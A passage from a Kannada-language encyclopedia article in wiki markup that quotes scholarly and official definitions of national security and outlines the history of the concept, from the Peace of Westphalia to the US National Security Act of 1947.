ಅರ್ಥವಾಗಿದೆ" ಎಂಬುದೇ ಸದರಿ ವ್ಯಾಖ್ಯಾನವಾಗಿದೆ.</blockquote> ಅರ್ನಾಲ್ಡ್‌ ವೋಫರ್ಸ್‌ (1960) ಎಂಬಾತ, ವಸ್ತುನಿಷ್ಠತೆಯಿಂದ ಪರಿಕಲ್ಪನಾತ್ಮಕ ಉದ್ದೇಶದ ವ್ಯಕ್ತಿನಿಷ್ಠತೆಯನ್ನು ಪ್ರತ್ಯೇಕಿಸಬೇಕಾದ ಅಗತ್ಯವನ್ನು ಗುರುತಿಸುವಾಗ, ''ಆರ್ಜಿಸಿದ ಮೌಲ್ಯಗಳಿಗೆ'' ಇರುವ ಬೆದರಿಕೆಗಳ ಕುರಿತಾಗಿ ಮಾತನಾಡುತ್ತಾನೆ:<ref>ಪಲೇರಿಯಲ್ಲಿ ಉಲ್ಲೇಖಿತ (2008) ಐಬಿಡ್‌. ಪುಟ 52.</ref> <blockquote>"ಒಂದು ಅಸ್ಪಷ್ಟ ಸಂಕೇತವು ವಿಭಿನ್ನ ಜನರಿಗೆ ವಿಭಿನ್ನ ವಿಷಯಗಳನ್ನು ಅರ್ಥೈಸುತ್ತದೆ. ವಸ್ತುನಿಷ್ಠವಾಗಿ ಹೇಳುವುದಾದರೆ, ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆ ಎಂಬುದು ಆರ್ಜಿಸಿದ ಮೌಲ್ಯಗಳಿಗಿರುವ ಬೆದರಿಕೆಗಳ ಅನುಪಸ್ಥಿತಿಯಾಗಿದೆ ಮತ್ತು ವ್ಯಕ್ತಿನಿಷ್ಠವಾಗಿ ಹೇಳುವುದಾದರೆ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆ ಎಂಬುದು ಇಂಥ ಮೌಲ್ಯಗಳು ದಾಳಿಗೊಳಗಾಗುತ್ತವೆ ಎಂಬಂಥ ಭಯದ ಅನುಪಸ್ಥಿತಿಯಾಗಿದೆ" ಎಂಬುದು ಅವನ ಅಭಿಪ್ರಾಯ.</blockquote> [[ಭಾರತ]]ದ ರಾಷ್ಟ್ರೀಯ ರಕ್ಷಣಾ ಕಾಲೇಜಿನ (ನ್ಯಾಷನಲ್‌ ಡಿಫೆನ್ಸ್‌ ಕಾಲೇಜ್‌) ವತಿಯಿಂದ 1996ರಲ್ಲಿ ಪ್ರಸಾರಮಾಡಲ್ಪಟ್ಟಿರುವ ವ್ಯಾಖ್ಯಾನವು ರಾಷ್ಟ್ರೀಯ ಶಕ್ತಿಯ ಅಂಶಗಳ ಒಂದುಗೂಡಿಸುವಿಕೆಯನ್ನು ಹೋಲುತ್ತದೆ:<ref>"ಪ್ರೊಸೀಡಿಂಗ್ಸ್‌ ಆಫ್‌ ಸೆಮಿನಾರ್‌ ಆನ್‌ ಎ ಮಿಲಿಟರಿ ಸ್ಟ್ರಾಟಜಿ ಫಾರ್‌ ಇಂಡಿಯಾ"ದಿಂದ ಪಡೆಯಲಾದ ವ್ಯಾಖ್ಯಾನ (1996). ರಾಷ್ಟ್ರೀಯ ರಕ್ಷಣಾ ಕಾಲೇಜು, ತೀಸ್‌ ಜನವರಿ ಮಾರ್ಗ್‌, ನವದೆಹಲಿ, ಭಾರತ. ಪಲೇರಿಯಲ್ಲಿ ಉಲ್ಲೇಖಿಸಲ್ಪಟ್ಟಿದ್ದು 2008 (ಐಬಿಡ್‌).</ref> <blockquote>"ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆ ಎಂಬುದು ರಾಜಕೀಯ ಚೇತರಿಕೆ ಮತ್ತು ಪರಿಪಕ್ವತೆ, ಮಾನವ ಸಂಪನ್ಮೂಲಗಳು, ಆರ್ಥಿಕ ಸ್ವರೂಪ ಮತ್ತು ಸಾಮರ್ಥ್ಯ, ತಂತ್ರಜ್ಞಾನದ ಸಾಮರ್ಥ್ಯ, ಕೈಗಾರಿಕಾ ಮೂಲ ಮತ್ತು ನೈಸರ್ಗಿಕ ಸಂಪನ್ಮೂಲಗಳ ಲಭ್ಯತೆ ಹಾಗೂ ಅಂತಿಮವಾಗಿ ಸೇನಾಶಕ್ತಿಯ ಒಂದು ಯೋಗ್ಯ ಮತ್ತು ಆಕ್ರಮಣಶೀಲ ಸಮ್ಮಿಶ್ರಣವಾಗಿದೆ" ಎಂಬುದೇ ಆ ವ್ಯಾಖ್ಯಾನವಾಗಿದೆ.</blockquote> ಕಾರ್ಟರ್‌ ಆಡಳಿತದ ಅವಧಿಯಲ್ಲಿ 1977ರಿಂದ 1981ರವರೆಗೆ U.S. ರಕ್ಷಣಾ ಕಾರ್ಯದರ್ಶಿಯಾಗಿದ್ದ ಹೆರಾಲ್ಡ್‌ ಬ್ರೌನ್‌ ಎಂಬಾತ 1983ರಲ್ಲಿ ಬಂದ ''ಥಿಂಕಿಂಗ್‌ ಎಬೌಟ್‌ ನ್ಯಾಷನಲ್‌ ಸೆಕ್ಯುರಿಟಿ: ಡಿಫೆನ್ಸ್‌ ಅಂಡ್‌ ಫಾರಿನ್‌ ಪಾಲಿಸಿ ಇನ್‌ ಎ ಡೇಂಜರಸ್‌ ವರ್ಲ್ಡ್‌'' ಎಂಬ ತನ್ನ ಪುಸ್ತಕದಲ್ಲಿ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯನ್ನು ವ್ಯಾಖ್ಯಾನಿಸಿದ್ದಾನೆ. ಆರ್ಥಿಕ ಭದ್ರತೆ ಮತ್ತು ಪರಿಸರೀಯ ಭದ್ರತೆಯಂಥ ಅಂಶಗಳನ್ನು ಈ ವ್ಯಾಖ್ಯಾನವು ಒಳಗೊಂಡಿದೆ.<ref>{{cite book |title=U.S. national security: a reference handbook |last=Watson |first=Cynthia Ann |authorlink= |series=Contemporary world issues |edition=2 (revised)|year=2008 |publisher=ABC-CLIO |location= |isbn=9781598840414 |page= |pages=281 |url=http://books.google.co.in/books?id=KnlIR4YO2vsC |accessdate=24 September 2010}}ನಲ್ಲಿ ನಮೂದಿಸಲ್ಪಟ್ಟಂತೆ</ref>{{rp|5}} <blockquote>"ರಾಷ್ಟ್ರದ ಭೌತಿಕ ಸಮಗ್ರತೆಯನ್ನು ಮತ್ತು ವಿಶಾಲ ಭೂಪ್ರದೇಶವನ್ನು ಅಥವಾ ಅಧೀನದ ರಾಜ್ಯಗಳನ್ನು ಕಾಪಾಡುವ ಸಾಮರ್ಥ್ಯ; ಸಮಂಜಸವಾದ ಷರತ್ತುಗಳ ಆಧಾರದ ಮೇಲೆ ವಿಶ್ವದ ಇತರ ರಾಷ್ಟ್ರಗಳೊಂದಿಗೆ ತನ್ನ ಆರ್ಥಿಕ ಸಂಬಂಧಗಳನ್ನು ಕಾಯ್ದುಕೊಂಡು ಹೋಗುವ ಸಾಮರ್ಥ್ಯ; ಹೊರಗಿನ ಶಕ್ತಿಗಳಿಂದ ಒಡೆದುಹೋಗದಂತೆ ತನ್ನ ಸ್ವರೂಪ, ಸ್ಥಾಪಿತ ಸಂಪ್ರದಾಯ, ಮತ್ತು ಆಡಳಿತವನ್ನು ಕಾಪಾಡುವ ಸಾಮರ್ಥ್ಯ; ಮತ್ತು ತನ್ನ ಗಡಿಗಳನ್ನು ನಿಯಂತ್ರಿಸುವುದರ ಸಾಮರ್ಥ್ಯ ಇವೆಲ್ಲವೂ ಒಟ್ಟಾರೆಯಾಗಿ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆ ಎನಿಸಿಕೊಳ್ಳುತ್ತವೆ" ಎಂಬುದು ಈ ವಿಶಾಲ ವ್ಯಾಖ್ಯಾನದ ವೈಶಿಷ್ಟ್ಯವಾಗಿದೆ.</blockquote> 1990ರಲ್ಲಿ, ಹಾರ್ವರ್ಡ್‌ ಇತಿಹಾಸ ಪ್ರಾಧ್ಯಾಪಕ ಚಾರ್ಲ್ಸ್‌‌ ಮೈಯೆರ್ ಎಂಬಾತ ನೀಡಿದ ವ್ಯಾಖ್ಯಾನದಲ್ಲಿ, ರಾಷ್ಟ್ರೀಯ ಶಕ್ತಿಯ ಮಸೂರದ ಮೂಲಕ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯು ವ್ಯಾಖ್ಯಾನಿಸಲ್ಪಟ್ಟಿದೆ:<ref>{{aut|Maier, Charles S.}} ''ಪೀಸ್‌ ಅಂಡ್‌ ಸೆಕ್ಯುರಿಟಿ ಫಾರ್‌ ದಿ 1990ಸ್‌'' .ಮ್ಯಾಕ್‌ಅರ್ಥರ್‌ ಫೆಲೋಷಿಪ್‌ ಪ್ರೋಗ್ರಾಮ್‌ಗೆ ಸಂಬಂಧಿಸಿದ ಅಪ್ರಕಟಿತ ಸಂಶೋಧನಾ ಲೇಖನ, ಸೋಷಿಯಲ್‌ ಸೈನ್ಸ್‌ ರಿಸರ್ಚ್‌ ಕೌನ್ಸಿಲ್‌, 12 ಜೂನ್‌ 1990. ರೋಮ್‌ನಲ್ಲಿ ಉಲ್ಲೇಖಿಸಲ್ಪಟ್ಟಂತೆ 1993, ಪುಟ 5</ref> <blockquote>"ತನ್ನದೇ ಆದ ಸ್ವಯಮಾಧಿಕಾರ ಅಥವಾ ಸ್ವಾಯತ್ತತೆ, ಅಭ್ಯುದಯ ಮತ್ತು ಯೋಗಕ್ಷೇಮವನ್ನು ಅನುಭವಿಸಲು ಅವಶ್ಯಕವೆಂದು ಒಂದು ನಿರ್ದಿಷ್ಟ ಸಮುದಾಯದ ಸಾರ್ವಜನಿಕಾಭಿಪ್ರಾಯವು ನಂಬುವಂಥ, ಸ್ವದೇಶಿ ಮತ್ತು ವಿದೇಶಿ ಸ್ಥಿತಿಗತಿಗಳನ್ನು ನಿಯಂತ್ರಿಸುವ ಒಂದು ಸಾಮರ್ಥ್ಯವಾಗಿ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯು ಅತ್ಯುತ್ತಮವಾಗಿ ವಿವರಿಸಲ್ಪಟ್ಟಿದೆ."</blockquote.></blockquote> ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಶಸ್ತ್ರ ಪಡೆಯು (ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ) ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯನ್ನು ಈ ಕೆಳಕಂಡ ವಿಧಾನದಲ್ಲಿ ವ್ಯಾಖ್ಯಾನಿಸುತ್ತವೆ:<ref>{{Cite book |title=JP 1 (02) "Dictionary of Military and Associated Terms", 2001 (As amended through 31 July 2010) |author=US NATO Military Terminology Group |year=2010 |publisher=Joint Chiefs of Staff, US Department of Defense |location=Pentagon, Washington |isbn= |page=361 |pages=580 (excluding foreword and appendices) |url=http://www.dtic.mil/doctrine/new_pubs/jp1_02.pdf |accessdate=19 September 2010 |archive-date=28 ಫೆಬ್ರವರಿ 2017 |archive-url=https://web.archive.org/web/20170228162512/http://www.dtic.mil/doctrine/new_pubs/jp1_02.pdf |url-status=dead }} ''ಇದರಲ್ಲಿರುವ'' "ನ್ಯಾಷನಲ್‌ ಸೆಕ್ಯುರಿಟಿ."</ref> <blockquote>'''ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆ''' — ಎಂಬುದು ಒಂದು ಸಮಷ್ಟಿಯ ಶಬ್ದವಾಗಿದ್ದು, ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಷ್ಟ್ರೀಯ ರಕ್ಷಣೆ ಮತ್ತು ವಿದೇಶಿ ಸಂಬಂಧಗಳಂಥ ಎರಡೂ ಅಂಶಗಳನ್ನು ಅದು ಒಳಗೊಂಡಿದೆ. ನಿರ್ದಿಷ್ಟವಾಗಿ ಹೇಳುವುದಾದರೆ, ಯಾವುದೇ ವಿದೇಶಿ ರಾಷ್ಟ್ರ ಅಥವಾ ರಾಷ್ಟ್ರಗಳ ಸಮೂಹದ ಮೇಲಿನ ಸೇನೆಯ ಅಥವಾ ರಕ್ಷಣಾ ಪ್ರಯೋಜನವೊಂದರಿಂದ ಒದಗಿಸಲ್ಪಟ್ಟ ಸ್ಥಿತಿಗತಿ; ವಿದೇಶಿ ಸಂಬಂಧಗಳನ್ನು ಒಂದು ಅನುಕೂಲಕರವಾದ ಸ್ಥಾನದಲ್ಲಿ ಇರಿಸಿದ್ದರಿಂದ ಒದಗಿಸಲ್ಪಟ್ಟ ಸ್ಥಿತಿಗತಿ; ದೇಶದ ಒಳಗಿನಿಂದಾಗಲೀ ಅಥವಾ ಹೊರಗಿನಿಂದಾಗಲೀ, ಬಹಿರಂಗವಾಗಿಯಾಗಲೀ ಅಥವಾ ಗೋಪ್ಯವಾಗಿಯಾಗಲೀ ಕಂಡುಬರುವ ಹಗೆತನದ ಅಥವಾ ವಿನಾಶಕ ಕ್ರಮವನ್ನು ಯಶಸ್ವಿಯಾಗಿ ಪ್ರತಿರೋಧಿಸುವಲ್ಲಿ ಸಮರ್ಥವಾಗಿರುವ ರಕ್ಷಣಾ ಮನೋಧರ್ಮದಿಂದ ಒದಗಿಸಲ್ಪಟ್ಟ ಸ್ಥಿತಿಗತಿ ಇವು ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆ ಎನಿಸಿಕೊಳ್ಳುತ್ತವೆ.</blockquote> 2010ರಲ್ಲಿ, ಅಮೆರಿಕಾದ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಹಿತಾಸಕ್ತಿಗಳ ಕುರಿತಾಗಿ ತಾನು ನೀಡಿದ ವ್ಯಾಖ್ಯಾನದಲ್ಲಿ [[ಬರಾಕ್ ಒಬಾಮ|ಬರಾಕ್‌ ಒಬಾಮಾ]] ಎಲ್ಲವನ್ನೂ-ಒಳಗೊಂಡಿರುವ ಜೀವನ ಸಿದ್ಧಾಂತವೊಂದನ್ನು ಸೇರಿಸಿದ. ಅದು ಹೀಗಿತ್ತು:<ref>{{aut|Obama, Barack}} ''ನ್ಯಾಷನಲ್‌ ಸೆಕ್ಯುರಿಟಿ ಸ್ಟ್ರಾಟಜಿ, ಮೇ 2010'' . [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಷ್ಟ್ರಪತಿ|ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಅಧ್ಯಕ್ಷ]]ರ ಕಚೇರಿ, ಶ್ವೇತಭವನ.[https://www.whitehouse.gov/sites/default/files/rss_viewer/national_security_strategy.pdf ] {{Webarchive|url=https://web.archive.org/web/20150927091224/https://www.whitehouse.gov/sites/default/files/rss_viewer/national_security_strategy.pdf |date=2015-09-27 }}. 2010ರ ಸೆಪ್ಟೆಂಬರ್ 23ರಂದು ಸಂಪರ್ಕಿಸಲಾಯಿತು.</ref> <blockquote> • ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ, ಇದರ ನಾಗರಿಕರ, ಮತ್ತು U.S. ಮಿತ್ರರಾಷ್ಟ್ರಗಳು ಹಾಗೂ ಸಹಭಾಗಿಗಳ ಭದ್ರತೆ;<br /> • ಅವಕಾಶ ಮತ್ತು ಅಭ್ಯುದಯವನ್ನು ಪ್ರವರ್ತಿಸುವ, ಮುಕ್ತ ಅಂತರರಾಷ್ಟ್ರೀಯ ಆರ್ಥಿಕ ವ್ಯವಸ್ಥೆಯೊಂದರಲ್ಲಿನ ಒಂದು ಬಲವಾದ, ಪರಿವರ್ತನಕಾರಕ, ಮತ್ತು ಬೆಳೆಯುತ್ತಿರುವ U.S. ಆರ್ಥಿಕತೆ; <br /> • ಸ್ವದೇಶದಲ್ಲಿ ಮತ್ತು ವಿಶ್ವದೆಲ್ಲೆಡೆಯಲ್ಲಿ ಸಾರ್ವತ್ರಿಕ ಮೌಲ್ಯಗಳಿಗಾಗಿ ನೀಡುವ ಗೌರವ; ಮತ್ತು<br /> • ಜಾಗತಿಕ ಸವಾಲುಗಳನ್ನು ಈಡೇರಿಸುವ ದೃಷ್ಟಿಯಿಂದ ಬಲವಾದ ಸಹಕಾರದ ಮೂಲಕ ಶಾಂತಿ, ಭದ್ರತೆ, ಮತ್ತು ಅವಕಾಶವನ್ನು ಪ್ರವರ್ತಿಸುವ, U.S. ನಾಯಕತ್ವದಿಂದ ಮಂಡಿಸಲ್ಪಟ್ಟ ಒಂದು ಅಂತರರಾಷ್ಟ್ರೀಯ ವ್ಯವಸ್ಥೆ. </blockquote> == ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಪರಿಕಲ್ಪನೆಯ ಇತಿಹಾಸ == ಒಂದು ಸ್ಥಿರವಾದ ರಾಷ್ಟ್ರ-ಸಂಸ್ಥಾನವನ್ನು ಕಾಯ್ದುಕೊಂಡು ಹೋಗುವುದರ ಒಂದು ತತ್ತ್ವವಾಗಿ "ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆ"ಯ ಆಧುನಿಕ ಪರಿಕಲ್ಪನೆಯ ಹುಟ್ಟನ್ನು ವೆಸ್ಟ್‌ಫಾಲಿಯಾದ ಶಾಂತಿ ಒಪ್ಪಂದದಷ್ಟು ಹಿಂದೆಯೇ ಕಂಡುಕೊಳ್ಳಬಹುದು; ಇದರಲ್ಲಿ ಓರ್ವ ಸಾರ್ವಭೌಮನಿಂದ ಆಳಲ್ಪಡುವ [[ದೇಶ|ಪರಮಾಧಿಕಾರವುಳ್ಳ ರಾಷ್ಟ್ರ]]ವೊಂದರ ಪರಿಕಲ್ಪನೆಯು, ರಾಷ್ಟ್ರ-ಸಂಸ್ಥಾನಗಳ ಒಂದು ಹೊಸ ಅಂತರರಾಷ್ಟ್ರೀಯ ವ್ಯವಸ್ಥೆಯೊಂದಕ್ಕೆ ಮೂಲಾಧಾರವಾಗಿತ್ತು.<ref name="MacFarlane & Yuen 2006">{{Cite book|title=Human security and the UN: a critical history |last1=MacFarlane |first1=S. Neil |last2=Yuen Foong Khong |first2= |series=United Nations intellectual history project|editor1-first=MacFarlane |editor1-last=S. Neil |editor2-first= |editor2-last=Yuen Foong Khong |edition=illustrated |year=2006 |publisher=Indiana University Press |location= |isbn=9780253218391 |page= |pages=346 |url=http://books.google.co.in/books?id=LzYHU0WcJWQC |accessdate=23 September 2010}}</ref>{{rp|19}} ಒಂದು ವಿದ್ವತ್‌‌ಪೂರ್ಣ ಪರಿಕಲ್ಪನೆಯಾಗಿ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯನ್ನು [[ಎರಡನೇ ಮಹಾಯುದ್ಧ|IIನೇ ಜಾಗತಿಕ ಸಮರ]]ದ<ref name="Romm 1993"/>{{rp|2-4}} ನಂತರ [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ]]ದಲ್ಲಿ ಮೊದಲ ಬಾರಿಗೆ ಪರಿಚಯಿಸಲ್ಪಟ್ಟ ಒಂದು ಇತ್ತೀಚಿನ ವಿದ್ಯಮಾನವಾಗಿ ಕಾಣಬಹುದು; ಅಷ್ಟೇ ಅಲ್ಲ, ನಾನಾಬಗೆಯ ಬಾಹ್ಯ ಮತ್ತು ಆಂತರಿಕ ಬೆದರಿಕೆಗಳನ್ನು ಎದುರಿಸಿ ಜಯಿಸುವುದಕ್ಕಾಗಿ ರಾಷ್ಟ್ರಗಳು ನಡೆಸುವ ಹೋರಾಟವನ್ನು ವಿವರಿಸುವ ಇತರ ಪರಿಕಲ್ಪನೆಗಳನ್ನು ಇದು ಒಂದು ಹಂತಕ್ಕೆ ಪಲ್ಲಟಗೊಳಿಸಿದೆ ಎನ್ನಬಹುದು. ಆದಾಗ್ಯೂ, ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆ ಎಂಬ ಶಬ್ದದ ಅತ್ಯಂತ ಮುಂಚಿನ ಉಲ್ಲೇಖವು 1790ರಲ್ಲಿ ಯೇಲ್‌ ವಿಶ್ವವಿದ್ಯಾಲಯದಲ್ಲಿ ಮಾಡಲ್ಪಟ್ಟಿತು; ಇದರಲ್ಲಿ ಸ್ವದೇಶಿ ಉದ್ಯಮಗಳೊಂದಿಗೆ ಅದು ಹೊಂದಿರುವ ಸಂಬಂಧದ ಕುರಿತು ಉಲ್ಲೇಖಿಸಲಾಗಿತ್ತು.<ref name="Paleri"/>{{rp|52}} 1947ರ ಜುಲೈ 26ರಂದು [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಷ್ಟ್ರಪತಿ|U.S. ಅಧ್ಯಕ್ಷ]] ಹ್ಯಾರಿ S. ಟ್ರೂಮನ್‌ '''1947ರ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಕಾಯಿದೆ''' ಗೆ ಸಹಿಹಾಕಿದಾಗ, ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ ಪರಿಕಲ್ಪನೆಯು ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿನ ವಿದೇಶಿ ಕಾರ್ಯನೀತಿಯ ಒಂದು ಅಧಿಕೃತ ಮಾರ್ಗದರ್ಶಿ ಸೂತ್ರವೆನಿಸಿಕೊಂಡಿತು.<ref name="Romm 1993"/>{{rp|3}} ಇದರ 1949ರ ತಿದ್ದುಪಡಿಯ ಜೊತೆಜೊತೆಗೆ, ಅಮೆರಿಕಾದ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಗೆ ಸಂಬಂಧಿಸಿದ ಪ್ರಮುಖ ಅಂಶಗಳನ್ನು ಈ ಕಾಯಿದೆಯು ಸೃಷ್ಟಿಸಿತು (ರಕ್ಷಣಾ ಇಲಾಖೆಗೆ ಸಂಬಂಧಿಸಿದ ಒಂದು ಪೂರ್ವವರ್ತಿಯಂಥದು), ಸೇನಾ ಶಾಖೆಗಳನ್ನು ರಕ್ಷಣಾ ಕಾರ್ಯದರ್ಶಿಯ ಹೊಸ ಸಂಪುಟ ಮಟ್ಟ ಸ್ಥಾನಕ್ಕೆ ಅಧೀನಗೊಳಿಸಿತು, ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆ ಮಂಡಲಿ ಮತ್ತು ಕೇಂದ್ರೀಯ ಬೇಹುಗಾರಿಕೆ ಸಂಸ್ಥೆಯನ್ನು ಸ್ಥಾಪಿಸಿತು.<ref name="Davis">{{cite book |title=U.S. Foreign Policy and National Security: Chronology and Index for the 20th Century |last=Davis |first=Robert T. |authorlink= |series=Praeger Security International Series |editor=Robert T. Davis |edition=Illustrated |year=2010 |publisher=ABC-CLIO |location= |isbn=9780313383854 |page=xiii=xiv |pages=800 |url=http://books.google.co.in/books?id=gsM1JiXAMJEC |accessdate=25 September 2010}}</ref> ಸ್ವದೇಶಿ ಕಳವಳಗಳಂಥ, ರಾಷ್ಟ್ರದ ಇತರ ಹಿತಾಸಕ್ತಿಗಳಿಂದ ಬೆದರಿಸಲ್ಪಟ್ಟ ವಿವಾದಾಂಶಗಳು ಚರ್ಚೆ ಮತ್ತು ತೀರ್ಮಾನಕ್ಕೆ ಬಂದಾಗಲೆಲ್ಲಾ, ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ ಸಂದಿಗ್ಧಾರ್ಥತೆಯು ಕೋರಿಕೊಳ್ಳುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಒಂದು ಶಕ್ತಿಯುತ ಚಾಟೂಕ್ತಿಯಾಗಿ ಅದನ್ನು ಮಾಡಿದ್ದರಿಂದ, ಊಹಿಸುವಂತೆ ಪ್ರಯೋಜನಕಾರಿಯಾಗಿದ್ದ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯನ್ನು ಈ ಕಾಯಿದೆಯು ವ್ಯಾಖ್ಯಾನಿಸಲಿಲ್ಲ.<ref name="Romm 1993"/>{{rp|3-5}} ಕೇವಲ ಸೇನಾಭದ್ರತೆಗಿಂತ ಹೆಚ್ಚಿನದನ್ನು ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯು ಒಳಗೊಳ್ಳುತ್ತದೆ ಎಂಬುದರ ಮನಗಾಣುವಿಕೆಯು ಇರುವುದಕ್ಕಿಂತ ಕಡಿಮೆಯಾಗಿ ಹೇಳಲ್ಪಟ್ಟಿತ್ತಾದರೂ, ಆರಂಭದಿಂದಲೇ ಅದು ಅಸ್ತಿತ್ವದಲ್ಲಿತ್ತು. "ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಗೆ ಸಂಬಂಧಿಸಿದ ಸ್ವದೇಶಿ ಕಾರ್ಯನೀತಿ, ಸೇನಾ ಕಾರ್ಯನೀತಿ ಮತ್ತು ವಿದೇಶಿ ಕಾರ್ಯನೀತಿಗಳನ್ನು ಒಗ್ಗೂಡಿಸುವುದರ ಕುರಿತಾಗಿ ಅಧ್ಯಕ್ಷರಿಗೆ ಸಲಹೆ ನೀಡಲೆಂದು" 1947ರ US ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಕಾಯಿದೆಯು ಅಸ್ತಿತ್ವಕ್ಕೆ ಬಂದಿತು.<ref name="Paleri"/>{{rp|52}} "ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯು ರಕ್ಷಣೆಗಿಂತ ವ್ಯಾಪಕವಾಗಿರುವ ಒಂದು ಪರಿಕಲ್ಪನೆ" ಎಂಬುದನ್ನು ಭಾರತದಲ್ಲಿ ಇನ್‌ಸ್ಟಿಟ್ಯೂಟ್‌ ಫಾರ್‌ ಡಿಫೆನ್ಸ್‌ ಸ್ಟಡೀಸ್‌ ಅಂಡ್‌ ಅನಾಲಿಸಿಸ್‌ 1965ರಲ್ಲಿ ಮನಗಂಡಿತು.<ref name="Paleri"/>{{rp|52}} 1974ರಲ್ಲಿ ಬಂದ, ಜನರಲ್‌ ಮ್ಯಾಕ್ಸ್‌ವೆಲ್‌ ಟೇಲರ್‌ನ "ದಿ ಲೆಜಿಟಿಮೇಟ್‌ ಕ್ಲೇಮ್ಸ್‌ ಆಫ್‌ ನ್ಯಾಷನಲ್‌ ಸೆಕ್ಯುರಿಟಿ" ಎಂಬ ಶೀರ್ಷಿಕೆಯುಳ್ಳ ಪ್ರಬಂಧವು ಈ ರೀತಿಯಲ್ಲಿ ಅಭಿಪ್ರಾಯಪಡುತ್ತದೆ:<ref>{{cite journal |last1=Taylor |first1=Gen Maxwell |authorlink=Maxwell Taylor |first2= |year=1974 |title=The Legitimate Claims of National Security |journal=Foreign Affairs |publisher=Council on Foreign Relations, Inc. |volume= |issue=Essay of 1974 |pages= |url=http://www.foreignaffairs.com/articles/24508/maxwell-d-taylor/the-legitimate-claims-of-national-security |doi= |Accessed 25 September 2010}}</ref> <blockquote>ಈ ವಿಶಾಲ ಪ್ರಜ್ಞೆಯಲ್ಲಿ ಹೇಳುವುದಾದರೆ, ಪ್ರಸಕ್ತ ಸ್ವತ್ತುಗಳು ಮತ್ತು ರಾಷ್ಟ್ರೀಯ ಹಿತಾಸಕ್ತಿಗಳನ್ನು ರಾಷ್ಟ್ರೀಯ ಅಮೂಲ್ಯ ವಸ್ತುಗಳು ಒಳಗೊಳ್ಳುತ್ತವೆ. ಅಷ್ಟೇ ಅಲ್ಲ, ಒಂದು ರಾಷ್ಟ್ರವಾಗಿ ನಮ್ಮ ಭವಿಷ್ಯವು ಅವಲಂಬಿತವಾಗಿರುವ ಬಲದ ಮೂಲಗಳನ್ನೂ ಸಹ ಅವು ಒಳಗೊಳ್ಳುತ್ತವೆ. ಕೆಲವೊಂದು ಅಮೂಲ್ಯ ವಸ್ತುಗಳು ಸ್ಪರ್ಶಗ್ರಾಹ್ಯವಾಗಿ ಮತ್ತು ಒರಟಾಗಿದ್ದರೆ, ಇತರ ವಸ್ತುಗಳು ಆಧ್ಯಾತ್ಮಿಕ ಅಥವಾ ಬೌದ್ಧಿಕ ಸ್ವರೂಪವನ್ನು ಹೊಂದಿವೆ. ಹಕ್ಕುಗಳ ಮಸೂದೆ, ನಮ್ಮ ರಾಜಕೀಯ ಸ್ಥಾಪಿತ ಸಂಪ್ರದಾಯಗಳು ಮತ್ತು ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಂಧವ್ಯಗಳಂಥ ರಾಜಕೀಯ ಸ್ವತ್ತುಗಳಿಂದ ಮೊದಲ್ಗೊಂಡು, ಸಮೃದ್ಧವಾದ ನೈಸರ್ಗಿಕ ಸಂಪನ್ಮೂಲಗಳಿಂದ ಬೆಂಬಲಿಸಲ್ಪಡುವ, ಅತೀವವಾಗಿ ಉತ್ಪಾದನಾಶೀಲವಾಗಿರುವ ಸ್ವದೇಶಿ ಆರ್ಥಿಕತೆಯಿಂದ ವಿಶ್ವವ್ಯಾಪಿಯಾಗಿ ಪಸರಿಸುವ ಅನೇಕ ಆರ್ಥಿಕ ಸ್ವತ್ತುಗಳವರೆಗೆ ಅವುಗಳ ವ್ಯಾಪಕ ಶ್ರೇಣಿಯಿದೆ. ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯನ್ನು ಕಾನೂನು ಸಮ್ಮತವಾಗಿಸುವ ಹಾಗೂ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ ಪಾತ್ರವನ್ನು ಅನಿವಾರ್ಯವಾಗಿಸುವ ಇಂಥ ಅಮೂಲ್ಯ ವಸ್ತುಗಳನ್ನು ಸಂರಕ್ಷಿಸಬೇಕಿರುವುದು ಸದ್ಯದ ತುರ್ತು ಅಗತ್ಯವಾಗಿದೆ.</blockquote> == ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಯ ಅಂಶಗಳು == {{main|Elements of national security}} ರಾಷ್ಟ್ರೀಯ 